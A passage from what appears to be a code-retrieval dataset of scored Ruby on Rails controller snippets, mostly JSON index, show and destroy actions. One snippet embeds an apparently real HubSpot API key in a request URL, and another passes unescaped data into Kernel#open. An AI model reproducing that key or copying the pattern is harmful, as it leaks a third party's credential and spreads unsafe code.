"471e6b9a2d91498bb3e6b425f13a4fdc", "score": "0.6558402", "text": "def index\n heroes = Hero.all\n render_jsonapi(heroes)\n end", "title": "" }, { "docid": "75c750de8496bd21cb197bc885e6ef45", "score": "0.65343094", "text": "def show\n @hoik = Hoik.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hoik }\n end\n end", "title": "" }, { "docid": "3bc05961da138f9f16a61a9c3ba705b8", "score": "0.6445679", "text": "def show\n @historia = Historia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historia }\n end\n end", "title": "" }, { "docid": "2a92cc033c8a26fed9ff2081fabe453d", "score": "0.6401932", "text": "def index\n superheroes = Superhero.all\n render json: superheroes\n end", "title": "" }, { "docid": "ee2887b76d88796fc19d9deeb06da539", "score": "0.6391817", "text": "def show\n @soon = Soon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @soon }\n end\n end", "title": "" }, { "docid": "e684baa9092c15fbed53cea4cbb87b61", "score": "0.63783765", "text": "def show\n @hitchhiker = Hitchhiker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hitchhiker }\n end\n end", "title": "" }, { "docid": "37113fc6c561fed9427f74289eecd2ca", "score": "0.63740814", "text": "def show\n @hye = Hye.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hye }\n end\n end", "title": "" }, { "docid": "c188204e2896acb9ecbe54058eaa515f", "score": "0.6350045", "text": "def index\n @chores = Chore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chores }\n end\n end", "title": "" }, { "docid": "2064253898598bd91d6b563e8b36b59f", "score": "0.63454574", "text": "def show\n @homologue = Homologue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @homologue }\n end\n end", "title": "" }, { "docid": "5063f52ea7c47efa736e550780f49352", "score": "0.6343842", "text": "def show\n @historique = Historique.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historique }\n end\n end", "title": "" }, { "docid": "38f4adaa697827616fe6681eeba06be6", "score": "0.63420564", "text": "def show\n @shobyo = Shobyo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shobyo }\n end\n end", "title": "" }, { "docid": "c86b9d73e0227ac182033ddafa466c1d", "score": "0.63347936", "text": "def show\n @huozhan = Huozhan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @huozhan }\n end\n end", "title": "" }, { "docid": "975699deb736d3dfa970f913900fe30c", "score": "0.6321991", "text": "def show\n @hiscore = Hiscore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hiscore }\n end\n end", "title": "" }, { "docid": "40f9e198df8e1afa2d8b6a59e2d36637", "score": "0.6321738", "text": "def show\n @hero = Hero.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @hero }\n end\n end", "title": "" }, { "docid": "201ce05cf0c8c6cf0b232ce85e3c55fe", "score": "0.6313301", "text": "def show\n render json: @honyaku\n end", "title": "" }, { "docid": "782622f9b04f00eb4c2ab1617bf9b01a", "score": "0.63056755", "text": "def show\n @housing = Housing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @housing }\n end\n end", "title": "" }, { "docid": "7959fc94776b83c1c763ea5b3d746f6a", "score": "0.63033897", "text": "def index\n @phones = Phone.all\n\n render json: @phones\n end", "title": "" }, { "docid": "fbf88dca85ab3bf6f180e2e2e5281164", "score": "0.629946", "text": "def show\n @jogo = Jogo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @jogo }\n end\n end", "title": "" }, { "docid": "e17fb53f793b99185426100d91f63e67", "score": "0.62891155", "text": "def show\n @shuoshuo = Shuoshuo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shuoshuo }\n end\n end", "title": "" }, { "docid": "aaa7577931a1986977e2f4cdbf59a55f", "score": "0.6285979", "text": "def show\n @thot = Thot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @thot }\n end\n end", "title": "" }, { "docid": "32a72deaaad1fcf42a8df05ef220c864", "score": "0.628128", "text": "def show\n @haiku = Haiku.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @haiku }\n end\n end", "title": "" }, { "docid": "336e99e403939d3324e385afacae92fd", "score": "0.6277448", "text": "def show\n @horoscope_moon = HoroscopeMoon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @horoscope_moon }\n end\n end", "title": "" }, { "docid": "c78d2685d5f6c511015422e34c43eb53", "score": "0.6275885", "text": "def show\n @mostone = Mostone.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostone }\n end\n end", "title": "" }, { "docid": "b58ea6ed931c79b3959f93df216b9a38", "score": "0.62717927", "text": "def show\n @hypsometry = Hypsometry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hypsometry }\n end\n end", "title": "" }, { "docid": "a94ed92e40c0928eccefc94ce02b3b43", "score": "0.6270018", "text": "def show\n @micropo = Micropo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @micropo }\n end\n end", "title": "" }, { "docid": "8f75c6fe094323058dd02e55e0d1c6d5", "score": "0.62466633", "text": "def index\n @honchos = Honcho.all\n end", "title": "" }, { "docid": "98eddec0132a76a867d33e2f1e1b612f", "score": "0.6237768", "text": "def index\n @kushis = Kushi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kushis }\n end\n end", "title": "" }, { "docid": "acdab75d76a7890cdc1ba8d52b942e60", "score": "0.62344676", "text": "def show\n @hora = Hora.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hora }\n end\n end", "title": "" }, { "docid": "c9fb75edda67a4ba9a2e902f82537bbc", "score": "0.62247306", "text": "def index\n @jogos = Jogo.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @jogos }\n end\n end", "title": "" }, { "docid": "23917ed41ad982233d4f5d17db0a06f9", "score": "0.6216575", "text": "def show\n @dicho = Dicho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @dicho }\n end\n end", "title": "" }, { "docid": "ac7c3712d4f581d4f9203a60fdbdd8f9", "score": "0.62055063", "text": "def show\n @historial_odc = HistorialOdc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial_odc }\n end\n end", "title": "" }, { "docid": "e40dd7d44d791cdcb81c68d191af2aa5", "score": "0.61747086", "text": "def index\n @thong_bao_lop_hocs = @lop_mon_hoc.thong_bao_lop_hocs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @thong_bao_lop_hocs }\n end\n end", "title": "" }, { "docid": "1557cd196dc8257e8b9ff1f43a9bc274", "score": "0.61745", "text": "def show\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @hike_json }\n end\n end", "title": "" }, { "docid": "f713ea23932e409be0ee252ee2aa01f2", "score": "0.617014", "text": "def show\n @huxing = Huxing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @huxing }\n end\n end", "title": "" }, { "docid": "00e9b392b1e96f224fbf3b86c9d6c29d", "score": "0.61672616", "text": "def show\n @how_majestic = HowMajestic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @how_majestic }\n end\n end", "title": "" }, { "docid": "09ef210237a107e7697e34f996516626", "score": "0.61661965", "text": "def show\n @historial_oct = HistorialOct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial_oct }\n end\n end", "title": "" }, { "docid": "c6cb674f581a8dd03d8f52af711d2ebc", "score": "0.61595094", "text": "def show\n @haraj = Haraj.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @haraj }\n end\n end", "title": "" }, { "docid": "bb39b8885f5c8002d848ea374a8ea71c", "score": "0.61503494", "text": "def show\n @chuyen = Chuyen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chuyen }\n end\n end", "title": "" }, { "docid": "5b962db9e9992efc13cdaf058c33a0a8", "score": "0.61469525", "text": "def show\n @loco = Loco.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loco }\n end\n end", "title": "" }, { "docid": "f04b0c7e1ff679c363e712fa078a861b", "score": "0.6140745", "text": "def show\n render json: @hero\n end", "title": "" }, { "docid": "82ebeaabbc5ae823210cca8fc62271b2", "score": "0.6137555", "text": "def show\n @hoken_shubetsu = HokenShubetsu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hoken_shubetsu }\n end\n end", "title": "" }, { "docid": "00495d4f1e6abd596d978a42d8a69a54", "score": "0.6129225", "text": "def show\n @puesto = Puesto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puesto }\n end\n end", "title": "" }, { "docid": "98e00b1f4d94d670baca8c8c65cba55b", "score": "0.61246264", "text": "def show\n @koan = Koan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @koan }\n end\n end", "title": "" }, { "docid": "fd28c5492e4ce33a6557ccb473fd7341", "score": "0.61233205", "text": "def show\n @lop_mon_hoc_sinh_vien = LopMonHocSinhVien.find(params[:id])\n\n respond_to do |format| \n format.json { render json: @lop_mon_hoc_sinh_vien }\n end\n end", "title": "" }, { "docid": "799e1db9b0267495ec94b906e517e0d8", "score": "0.61111253", "text": "def show\n @thong_bao_lop_hoc = @lop_mon_hoc.thong_bao_lop_hocs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @thong_bao_lop_hoc }\n end\n end", "title": "" }, { "docid": "efe8109f4731df19c1fbbccae440066d", "score": "0.61103505", "text": "def show\n @chore = Chore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chore }\n end\n end", "title": "" }, { "docid": "36863904232586ee0f749599aa46af75", "score": "0.6106786", "text": "def show\n @tomato = Tomato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tomato }\n end\n end", "title": "" }, { "docid": "59c4e6f88ecb2e028ca46e93a63c6d87", "score": "0.61050755", "text": "def show\n @webcomic = Webcomic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @webcomic }\n end\n end", "title": "" }, { "docid": "31479342eedc2fffe95ec5f4fa48df7d", "score": "0.6103424", "text": "def index\n @otakus = Otaku.all\n\n render json: @otakus\n end", "title": "" }, { "docid": "9fcf3b534ec4f13fe20dad3a069b646d", "score": "0.61024934", "text": "def index\n @chapitres = Chapitre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chapitres }\n end\n end", "title": "" }, { "docid": "5ff8122885899d9efbeaa37a9e997cf5", "score": "0.60977924", "text": "def new\n @jusho = Jusho.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jusho }\n end\n end", "title": "" }, { "docid": "c16be5131581e97d99ddb45de4f4414a", "score": "0.60923225", "text": "def index\n @todos = Todo.all\n json_response(@todos)\n end", "title": "" }, { "docid": "75d6f5c9c29305986d23fe96004b0962", "score": "0.6092112", "text": "def index\n @how_majestics = HowMajestic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @how_majestics }\n end\n end", "title": "" }, { "docid": "a9f95d6224e58027497fd887406a9ccb", "score": "0.6084965", "text": "def show\n @os = Os.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @os }\n end\n end", "title": "" }, { "docid": "042e7da0ea639fb8a551dc94d90786a7", "score": "0.6081884", "text": "def index\n url = \"https://api.hubapi.com/contacts/v1/contact?hapikey=dec3140b-502f-42da-ada2-6c3c19772d94\"\n things = get_json\n\n @result = HTTParty.post(url, body: things.to_json, headers: { 'Content-Type' => 'application/json' }, format: :json)\n puts \"HHHHHHHHHH\"\n puts JSON.parse(things)\n puts @result\n @contacts = Contact.all\n end", "title": "" }, { "docid": "700b9f0517cf2f289dcb7359c0b53a3b", "score": "0.6080538", "text": "def index\n @hills = Hill.all\n @client = Client.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @client }\n end\n end", "title": "" }, { "docid": "c814177611533b8e5bc671880711b3bc", "score": "0.607107", "text": "def show\n \n @chore = Chore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chore }\n end\n end", "title": "" }, { "docid": "f34f5ac022ee555807032455cc638a38", "score": "0.60579354", "text": "def show\n @oficio = Oficio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @oficio }\n end\n end", "title": "" }, { "docid": "3c06f691e58fd3f858af199bbaf4a437", "score": "0.6051504", "text": "def show\n @coffeeshop = Coffeeshop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coffeeshop }\n end\n end", "title": "" }, { "docid": "618a3ddeb5d5bf129122a031eb63be80", "score": "0.60489714", "text": "def show\n @phone1 = Phone1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @phone1 }\n end\n end", "title": "" }, { "docid": "88a0cfa0db661dcfee2a23d80c6e240f", "score": "0.60489196", "text": "def show\n if @chassi.nil?\n head :not_found\n else\n render json: @chassi.properties\n end\n end", "title": "" }, { "docid": "90db0acd21c683a1bce183361fbd2387", "score": "0.60438406", "text": "def index\n @hoowons = Hoowon.all\n end", "title": "" }, { "docid": "2346abce8a025d8ba397c4b8c488b101", "score": "0.6043627", "text": "def show\n @hire = Hire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hire }\n end\n end", "title": "" }, { "docid": "122064c14d59625f757c49f028b661eb", "score": "0.60407186", "text": "def show\n @taikhoan = Taikhoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @taikhoan }\n end\n end", "title": "" }, { "docid": "122064c14d59625f757c49f028b661eb", "score": "0.60407186", "text": "def show\n @taikhoan = Taikhoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @taikhoan }\n end\n end", "title": "" }, { "docid": "bbb4d4a10af0a015669877e26724a741", "score": "0.6040717", "text": "def show\n @pur_hist = PurHist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pur_hist }\n end\n end", "title": "" }, { "docid": "e21d3bef1d08e89a555cb41f5484c5d1", "score": "0.6034833", "text": "def show\n @zhihu = Zhihu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @zhihu }\n end\n end", "title": "" }, { "docid": "8d9a81c2fefa6654794c1dd618bfb453", "score": "0.60332704", "text": "def show\n @hero = Hero.includes(:game, :archetype, :familiar).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hero }\n end\n end", "title": "" }, { "docid": "2b08372bc2ee7fe2fa4ddc9321258956", "score": "0.60331064", "text": "def index\n @todos = Todo.all\n render json: @todos, status: :ok\n end", "title": "" }, { "docid": "d5e0000366aa3d678b21ddf8ac8f0a84", "score": "0.6030134", "text": "def show\n scope = jsonapi_scope(Hero.where(id: params[:id]))\n render_jsonapi(scope.resolve.first, scope: false)\n end", "title": "" }, { "docid": "a9502b892dfbe0f9d5b557b8c5152b34", "score": "0.60295016", "text": "def index\n @chamados = Chamado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @chamados }\n end\n end", "title": "" }, { "docid": "9f4396255daa427aa69f77ce6019a6a2", "score": "0.60271615", "text": "def index\n @humedals = Humedal.all\n render json: @humedals\n end", "title": "" }, { "docid": "1851fdd399f7670b40cd360f73eaea4b", "score": "0.602682", "text": "def index\n @comic_titles = ComicTitle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comic_titles }\n end\n end", "title": "" }, { "docid": "afccfcff636903665e94b24724a14ec4", "score": "0.6026587", "text": "def show\n @chamado = Chamado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @chamado }\n end\n end", "title": "" }, { "docid": "73367ca1cb8fdca87f1a873bd9ee4405", "score": "0.6026022", "text": "def show\n @hydrogen = Hydrogen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hydrogen }\n end\n end", "title": "" }, { "docid": "fa47c155ba3e957109cc2801a09dfe81", "score": "0.60244066", "text": "def show\n @hobbit = Hobbit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hobbit }\n end\n end", "title": "" }, { "docid": "dc4f3797879c7e01a12a3f9666c219a1", "score": "0.60228217", "text": "def new\n @h1 = H1.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @h1 }\n end\n end", "title": "" }, { "docid": "2e179d479d5208ffbda4e8df00709ade", "score": "0.60189646", "text": "def show\n @startup = Startup.find(params[:id])\n \n @comentarios = JSON.parse(open(\"http://api.oula.co/twitter/topic/?q=\" << @startup.name).read) \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @startup }\n end\n end", "title": "" }, { "docid": "8a69d9b5e0d5cca84881d646a12b3097", "score": "0.6018055", "text": "def show\n @chocolate = Chocolate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chocolate }\n end\n end", "title": "" }, { "docid": "cfe7eb6cbe41049685b07a48d2b9e027", "score": "0.60165584", "text": "def show\n @headline = Headline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @headline }\n end\n end", "title": "" }, { "docid": "cfe7eb6cbe41049685b07a48d2b9e027", "score": "0.60165584", "text": "def show\n @headline = Headline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @headline }\n end\n end", "title": "" }, { "docid": "0c40ff4820a036817e9b05b09bcf7535", "score": "0.6012555", "text": "def new\n @phono = Phono.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @phono }\n end\n end", "title": "" }, { "docid": "b49d8b2aa4cdcf8a293956fe256c8aa1", "score": "0.60106814", "text": "def show\n @version = ApplicationController::HEPHAESTUS_VERSION\n @server = Server.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @server }\n end\n end", "title": "" }, { "docid": "229e90929026a813fe6f7a130e3f67cf", "score": "0.6009802", "text": "def index\n @convos = Convo.all\n render json: @convos\n end", "title": "" }, { "docid": "fcaa1b2a9e8cb767712fbdb34517f2f5", "score": "0.6008684", "text": "def index\n @honks = Honk.all\n end", "title": "" }, { "docid": "3208821ad490795a4f067ad2aeacec93", "score": "0.60084355", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @majors }\n format.json { render :text => get_json }\n end\n end", "title": "" }, { "docid": "609178ac1499902b13fc4c329b780846", "score": "0.59989876", "text": "def show\n @huoyun_route = HuoyunRoute.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @huoyun_route }\n end\n end", "title": "" }, { "docid": "93d7b36794b96380caa881cc274f58ea", "score": "0.5998854", "text": "def show\n render json: MangaBookshelf.find_shelves(params[:id])\n end", "title": "" }, { "docid": "95f9492988c6caec9878d0d83a76e414", "score": "0.59976786", "text": "def index\n @todo = Todo.new\n @todos = Todo.all\n render json: @todos\n end", "title": "" }, { "docid": "f2753e9997ce44bdccf3df0f3692374b", "score": "0.599593", "text": "def index \n @heroes = Heroe.page params[:page]\n if params[:page].nil?\n set_pagination_headers(1)\n else\n set_pagination_headers(params[:page])\n end\n render json: @heroes \n end", "title": "" }, { "docid": "4a96bad2424136bffb535a5ee4349b7f", "score": "0.59890956", "text": "def index\n @osoby = Osoba.all\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render json: @osoby }\n end\n end", "title": "" }, { "docid": "4510dead04eaf2996df76c8606b20d2a", "score": "0.5987672", "text": "def show\n @tomodachi = Tomodachi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tomodachi }\n end\n end", "title": "" } ]
f8910f754c8e6e6465fcd83cc61e5896
DELETE /users/1 DELETE /users/1.json DELETE THIS METHOD BEFORE SUBMISSION!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
[ { "docid": "2eddd9adb3f47191ef15abed5b616cae", "score": "0.0", "text": "def destroy\r\n end", "title": "" } ]
[ { "docid": "8e69eb3ff3374e0db6fa9eb17958df65", "score": "0.7597645", "text": "def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end", "title": "" }, { "docid": "88435d71821df18966fc2786fe44d74a", "score": "0.73759025", "text": "def destroy\n if check_user_write_access\n user.destroy\n\n respond_to do |format|\n format.html { redirect_to :root }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "a686e8b5f0dff82bb0f523686d25fb87", "score": "0.73601747", "text": "def delete_user\n end", "title": "" }, { "docid": "95f7909f2d660a9b4f3be6031cc3886e", "score": "0.72902495", "text": "def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end", "title": "" }, { "docid": "6f74a32c6fdb67babd4a903e37b5baa4", "score": "0.7247789", "text": "def delete\n render json: User.delete(params[\"id\"])\n end", "title": "" }, { "docid": "8fc4a08e56a0c3d835644f10af6e539b", "score": "0.7198269", "text": "def destroy\n debugger\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b587b4c6cfd1bb2ea92c1c749bacb0e4", "score": "0.7188681", "text": "def delete\n @user.destroy\n respond_to do |format|\n format.html { redirect_to v1_resources_users_all_path, notice: 'User was deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5582dcc1f6f84de516306e7485a917b7", "score": "0.7188202", "text": "def destroy\n user = User.find(params[:id])\n authorize! :destroy, user\n user.destroy\n render :json => {:ok => true, :message => 'successful destroied'}, :head => :no_content\n end", "title": "" }, { "docid": "0c730600a14135ad6ba6aae8ff35b209", "score": "0.7183067", "text": "def call(id)\n client.delete(\"/api/rest/v1/users/#{id}.json\")\n true\n end", "title": "" }, { "docid": "e88d3dc87e8555f1f82e059d8edb57b1", "score": "0.7178123", "text": "def remove_user\n query_api '/rest/user', nil, 'DELETE'\n end", "title": "" }, { "docid": "02ff3ce385bb423f1e33ccf273507657", "score": "0.7139594", "text": "def user_management_delete_user id\n # the base uri for api requests\n query_builder = Configuration.BASE_URI.dup\n\n # prepare query string for API call\n query_builder << \"/v1/users\"\n\n # process optional query parameters\n query_builder = APIHelper.append_url_with_query_parameters query_builder, {\n \"id\" => id,\n \"client_id\" => @client_id,\n \"client_secret\" => @client_secret,\n }\n\n # validate and preprocess url\n query_url = APIHelper.clean_url query_builder\n\n # prepare headers\n headers = {\n \"user-agent\" => \"IAMDATA V1\",\n \"accept\" => \"application/json\"\n }\n\n # invoke the API call request to fetch the response\n response = Unirest.delete query_url, headers:headers\n\n # Error handling using HTTP status codes\n if response.code == 404\n raise APIException.new \"Not found\", 404, response.raw_body\n elsif response.code == 401\n raise APIException.new \"Unauthorized\", 401, response.raw_body\n elsif !(response.code.between?(200,206)) # [200,206] = HTTP OK\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\n end\n\n response.body\n end", "title": "" }, { "docid": "475f94057c6dbc249b0a330d0141d943", "score": "0.71215475", "text": "def destroy\n #authorize User\n #@user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6de33a50410e4ade40ca04e0e009403c", "score": "0.70968854", "text": "def destroy\n @user = User.find_by_id_or_username params[:id]\n @user.destroy\n render api_delete @user\n end", "title": "" }, { "docid": "aa533bcdbd6eae392729bab5b6c55a62", "score": "0.7083539", "text": "def destroy\n authorize! :destroy, @user\n @user = User.find(params[:id])\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "41fe59531f079d8fbfff6b5373d13de8", "score": "0.70817393", "text": "def delete_users\n delete(users_path)\n end", "title": "" }, { "docid": "360426e2a850aac27731d4be1b66cf87", "score": "0.70721173", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9726e5906847e86574cbf497f2ac9759", "score": "0.70676595", "text": "def delete(user)\n Rails.logger.debug \"Call to photo.delete\"\n if !self.file.blank?\n Util.delete_image(self.file) #Delete the image file from the image server\n end\n reqUrl = \"/api/photo/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password'])#Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end", "title": "" }, { "docid": "49e635853e468880c4b43c2e1aefa3f4", "score": "0.70573574", "text": "def destroy\n @user.destroy\n format.json { head :no_content }\n end", "title": "" }, { "docid": "2dd7c4e54e725e010e899abb5be3409d", "score": "0.705571", "text": "def destroy\n @api_user.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "349eb25668e562bf08fd309263ebaeb0", "score": "0.7049817", "text": "def destroy\n # not_found unless @user\n # @user = User.get(params[:id]) || not_found\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ca32cdb1c39582d95b2f5e5930f3b9fd", "score": "0.70382553", "text": "def destroy\n if params[:id] != current_user.id && current_user.is_admin == false\n \traise \"You are not authorized to access this function\"\n end \n @user = User.find(params[:id]).destroy\n respond_with(@user)\n end", "title": "" }, { "docid": "ebd9510e54d9a87eeeb977dc456aac70", "score": "0.70246434", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to dm_core.admin_users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "336a0487d3e9be05d1726b7c9c98bbad", "score": "0.7018613", "text": "def delete_user\n client.delete(user)\n end", "title": "" }, { "docid": "59fa4fd096c4f8b9bf4b36a9c9bff5d1", "score": "0.701813", "text": "def user_delete(user_id)\n\t\tdelete_call = Curl::Easy.http_delete(\"#{@ip_address}:#{@port_2}/v2.0/users/#{user_id}\"\n\t\t) do |curl|\n\t\t\tcurl.headers['x-auth-token'] = @token\n\t\t\tcurl.headers['userId'] = user_id\n\t\tend\n\t\n\tend", "title": "" }, { "docid": "9089c0b05b260a898baad823dd7a5c5c", "score": "0.70017004", "text": "def delete_user_for_tenant(args = {}) \n delete(\"/tenants.json/#{args[:tenantId]}/users/#{args[:userId]}\", args)\nend", "title": "" }, { "docid": "5afe9026a6587696b06b7f81fd2d6c99", "score": "0.6992024", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8412d693fd475cb8f222f90b6a98bbae", "score": "0.6972426", "text": "def delete\n render json: Users.delete(params[\"id\"])\n end", "title": "" }, { "docid": "515e9a613000422a8fbaf3913d571c91", "score": "0.69709706", "text": "def destroy\n @v1_user.destroy\n respond_to do |format|\n format.html { redirect_to v1_users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3a48a117f7dd0668e33413a4f35160e0", "score": "0.6966852", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end", "title": "" }, { "docid": "3a48a117f7dd0668e33413a4f35160e0", "score": "0.6966852", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end", "title": "" }, { "docid": "a4ef575b636f83c516f9ace63ec9a2e8", "score": "0.69527054", "text": "def destroy\n authorize @user\n @user.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "2d6bc54e947da5bc24a844fd1ee9689c", "score": "0.69400716", "text": "def destroy\n @user = V1::User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_users_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5c3bbbb6d69af34bed273b0de53694ac", "score": "0.69376683", "text": "def destroy\n @user = User.find(params[:id])\n User.cascade_delete(@user)\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "0c79b2a2b3c93fc9f773cb406c33428c", "score": "0.6932536", "text": "def destroy\n current_user.destroy\n head 204\n end", "title": "" }, { "docid": "c8df2b44984db4d0d2d01fa6e3a65d62", "score": "0.69266963", "text": "def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c8df2b44984db4d0d2d01fa6e3a65d62", "score": "0.69266963", "text": "def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b5420294215c15c88c3281c38bee1de4", "score": "0.6924131", "text": "def delete user_id, options={}, headers={}\n @connection.delete \"users/#{user_id}.json\", options, headers\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "427f56c5a5085414b6bb425998eba665", "score": "0.69231445", "text": "def destroy\n @user.destroy\n respond_to do |format|\n 